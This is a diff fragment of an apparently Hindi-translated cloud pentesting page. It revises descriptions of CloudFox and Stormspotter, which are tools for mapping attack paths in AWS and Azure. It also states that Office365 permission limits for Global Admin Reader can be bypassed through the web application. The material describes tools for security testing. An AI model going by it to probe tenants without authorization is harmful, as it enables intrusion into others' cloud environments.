+- CloudFox एक टूल है जो क्लाउड infrastructure में exploitable attack paths खोजने के लिए है (वर्तमान में केवल AWS & Azure समर्थित हैं, GCP जल्द आ रहा है)।
+- यह एक enumeration tool है जिसे manual pentesting की पूरकता के लिए बनाया गया है।
+- यह क्लाउड environment के भीतर कोई भी data बनाता या संशोधित नहीं करता।

-### क्लाउड सुरक्षा उपकरणों की अधिक सूचियाँ
+### More lists of cloud security tools

 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)

@@ -412,10 +412,11 @@ azure-security/

 ### Attack Graph

-[**Stormspotter** ](https://github.com/Azure/Stormspotter) एक Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है।
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure subscription में resources का “attack graph” बनाता है। यह red teams और pentesters को एक tenant के भीतर attack surface और pivot opportunities को visualize करने में सक्षम बनाता है, और आपके defenders को incident response के काम को तेजी से व्यवस्थित और प्राथमिकता देने में अतिरिक्त गति देता/देती है।

 ### Office365

-आपको **Global Admin** या कम से कम **Global Admin Reader** की आवश्यकता है (लेकिन ध्यान दें कि Global Admin Reader थोड़ा सीमित है)। हालाँकि, ये सीमाएँ कुछ PS मॉड्यूल में प्रकट होती हैं और **वेब एप्लिकेशन** के माध्यम से सुविधाओं तक पहुँचकर बाईपास की जा सकती हैं।
+आपको **Global Admin** या कम से कम **Global Admin Reader** की आवश्यकता होती है (हालाँकि ध्यान दें कि Global Admin Reader थोड़ी सीमित है)। हालांकि, ये सीमाएँ कुछ PS modules में दिखाई देती हैं और इन्हें **वेब एप्लिकेशन के माध्यम से** फीचर्स तक पहुँच कर बायपास किया जा सकता है।
+

 {{#include ../banners/hacktricks-training.md}}